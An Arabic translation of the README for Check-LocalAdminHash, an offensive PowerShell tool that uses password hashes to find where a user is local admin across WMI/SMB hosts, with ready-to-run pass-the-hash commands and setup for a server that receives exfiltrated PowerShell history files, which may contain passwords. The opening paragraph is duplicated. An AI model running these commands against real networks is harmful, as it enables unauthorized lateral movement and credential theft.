
Check-LocalAdminHash هي أداة PowerShell تحاول المصادقة على مضيفين متعددين عبر WMI أو SMB باستخدام تجزئة كلمة مرور لتحديد ما إذا كانت بيانات الاعتماد المقدمة هي لمسؤول محلي. إنها مفيدة إذا حصلت على تجزئة كلمة مرور لمستخدم وتريد معرفة الأماكن التي يكون فيها مسؤولاً محلياً على الشبكة. هي في الأساس مزيج من أداتي المفضلتين مع بعض الكود الخاص بي. تستخدم مشروع Kevin Robertson (@kevin_robertson) Invoke-TheHash لجزء التحقق من بيانات الاعتماد. بالإضافة إلى ذلك، يستخدم السكربت وحدات من PowerView بواسطة Will Schroeder (@harmj0y) و Matt Graeber (@mattifestation) لتعداد أجهزة الكمبيوتر في المجال للعثور على أهداف لاختبار الوصول الإداري ضدها.
Check-LocalAdminHash هي أداة PowerShell تحاول المصادقة على مضيفين متعددين عبر WMI أو SMB باستخدام تجزئة كلمة المرور لتحديد ما إذا كانت بيانات الاعتماد المقدمة هي لمسؤول محلي. إنها مفيدة إذا حصلت على تجزئة كلمة مرور لمستخدم وأردت معرفة أين هو مسؤول محلي على الشبكة. إنها في الأساس خليط بين أداتين مفضلتين لدي مع بعض الكود الخاص بي. تستخدم مشروع Invoke-TheHash الخاص بـ Kevin Robertson (@kevin_robertson) لجزء التحقق من بيانات الاعتماد. بالإضافة إلى ذلك، يستخدم البرنامج النصي وحدات من PowerView بواسطة Will Schroeder (@harmj0y) و Matt Graeber (@mattifestation) لتعداد أجهزة الكمبيوتر في المجال للعثور على أهداف لاختبار الوصول الإداري ضدها.
السبب في وجود هذا البرنامج النصي هو أنه في تقييم أردت جمع جميع ملفات سجل محفوظات PowerShell (PSReadline) من كل نظام على الشبكة. سجل محفوظات PSReadline هو أساسًا نسخة PowerShell من bash history. يمكن أن يتضمن الكثير من الأشياء المثيرة للاهتمام التي يكتبها الأشخاص في محطاتهم بما في ذلك كلمات المرور. لذلك، تم تضمين خيار في هذا البرنامج النصي لاستخراج جميع ملفات PSReadline أيضًا. هناك بعض الإعدادات اللازمة لهذا. انظر نهاية Readme للإعداد.
لمزيد من المعلومات اقرأ المدونة هنا: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/
سيستخدم هذا الأمر المجال 'testdomain.local' للبحث عن جميع الأنظمة ثم محاولة المصادقة على كل منها باستخدام المستخدم 'testdomain.local\PossibleAdminUser' وتجزئة كلمة المرور عبر WMI.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
سيستخدم هذا الأمر المجال 'testdomain.local' للبحث عن جميع الأنظمة ثم محاولة المصادقة على كل منها باستخدام المستخدم 'testdomain.local\PossibleAdminUser' وتجزئة كلمة المرور عبر WMI. ثم يحاول تحديد موقع ملفات سجل محفوظات PowerShell (PSReadline) لكل ملف تعريف على كل نظام ثم يرسلها عبر POST إلى خادم ويب. راجع الجزء السفلي من Readme لإعداد الخادم.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
سيستخدم هذا الأمر نطاق CIDR المقدم لإنشاء قائمة أهداف ثم محاولة المصادقة على كل منها باستخدام المستخدم المحلي 'PossibleAdminUser' وتجزئة كلمة المرور عبر WMI.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24
سيستخدم هذا الأمر قائمة الأهداف المقدمة ويحاول المصادقة على كل مضيف باستخدام المستخدم المحلي 'PossibleAdminUser' وتجزئة كلمة المرور عبر SMB.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt
يحاول هذا الأمر إجراء مصادقة محلية للمستخدم Administrator ضد النظام 192.168.0.16 عبر SMB.
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB
Username - اسم المستخدم لمحاولة المصادقة.
PasswordHash - تجزئة كلمة مرور المستخدم.
TargetSystem - اسم مضيف واحد أو IP لمحاولة المصادقة.
TargetList - قائمة بالمضيفين لفحصهم، سطر واحد لكل منها.
AllSystems - مفتاح عند تمكينه يستخدم وحدات PowerView لتعداد جميع أنظمة المجال. ثم تُستخدم هذه القائمة للتحقق من الوصول الإداري المحلي.
Domain - هذا هو المجال الذي سيستخدمه PowerView لاكتشاف الأنظمة.
UserDomain - هذا هو مجال المستخدم للمصادقة على كل نظام به. لا تستخدم هذه العلامة إذا كنت تستخدم بيانات اعتماد محلية بدلاً من بيانات اعتماد المجال.
Protocol - هذا الإعداد لتحديد ما إذا كان سيتم التحقق من التجزئة باستخدام WMI أو SMB. الافتراضي هو 'WMI' ولكن يمكن تعيينه على 'SMB' للتحقق بدلاً من ذلك.
CIDR - حدد نطاق شبكة بصيغة CIDR مثل 192.168.0.0/24.
Threads - الافتراضي هو 5 خيوط. (واجهت بعض المشكلات الغريبة عند تعيين أكثر من 15 خيطًا مع عدم عودة بعض النتائج.)
ExfilPSReadline - لكل نظام تنجح فيه المصادقة، يقوم بتشغيل أمر PowerShell لتحديد موقع ملفات سجل محفوظات PSReadLine (سجل أوامر PowerShell) ثم يرسلها عبر POST إلى خادم ويب. راجع Readme لإعداد الخادم.
هذا تحذير بأنك على وشك إعداد خادم مواجه للإنترنت سيقبل تحميل الملفات. عادةً، هذا شيء سيء جدًا. لذا بالتأكيد اتخذ الاحتياطات عند القيام بذلك. أوصي بتقييد قواعد جدار الحماية بحيث يمكن فقط لعنوان IP الذي سيقوم بتحميل ملفات PSReadline الوصول إلى خادم الويب. أيضًا، بينما نحن في موضوع الأمان، هذا سيعمل بشكل جيد مع اتصال HTTPS لذا قم بإعداد نطاقك وشهادتك بحيث يتم إرسال ملفات PSReadline مشفرة عبر الشبكة. لقد تم تحذيرك...
قم بإعداد خادم في أي مكان ترغب في إرسال الملفات إليه. يجب أن يكون هذا الخادم قابلاً للوصول عبر HTTP/HTTPS من كل نظام.
انسخ برنامج index.php النصي من هذا المستودع وضعه في /index.php في جذر الويب (/var/www/html) على خادم الويب الخاص بك.
أنشئ دليل uploads
mkdir /var/www/html/uploads
قم بتعديل صلاحيات هذا الدليل
chmod 0777 /var/www/html/uploads
تأكد من تثبيت php
apt-get install php
أعد تشغيل Apache
service apache2 restart
في برنامج Check-LocalAdminHash.ps1 نفسه، انتقل لأسفل إلى دالة "Gen-EncodedUploadScript" وقم بتعديل المتغير "$Url" أسفل "$UnencodedCommand". قم بتوجيهه إلى صفحة index.php على خادم الويب الخاص بك. لم أقم بحل كيفية تمرير متغير UploadUrl إلى ذلك الجزء من الكود الذي يتم ترميزه وتنفيذه على الأنظمة الهدف، لذا قم بكتابته بشكل ثابت الآن.
الآن عندما تقوم بتشغيل Check-LocalAdminHash مع العلامة -ExfilPSReadline، يجب أن يحاول إرسال كل ملف PSReadline (إن وجد) عبر POST إلى خادم الويب الخاص بك.
Check-LocalAdminHash هي في الأساس خليط من أداتي المفضلتين، PowerView و Invoke-TheHash. 95% من الكود مأخوذ من هاتين الأداتين. لذا يعود الفضل إلى Kevin Robertson (@kevin_robertson) لـ Invoke-TheHash، والفضل إلى Will Schroeder (@harmj0y) و Matt Graeber (@mattifestation) (وأي شخص آخر عمل على PowerView). بدون هاتين الأداتين، لم يكن هذا البرنامج النصي ليكون موجودًا. أيضًا، تحية لـ Steve Borosh (@424f424f) للمساعدة في تعدد الخيوط وكونه شخصًا رائعًا بشكل عام.
Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash
PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1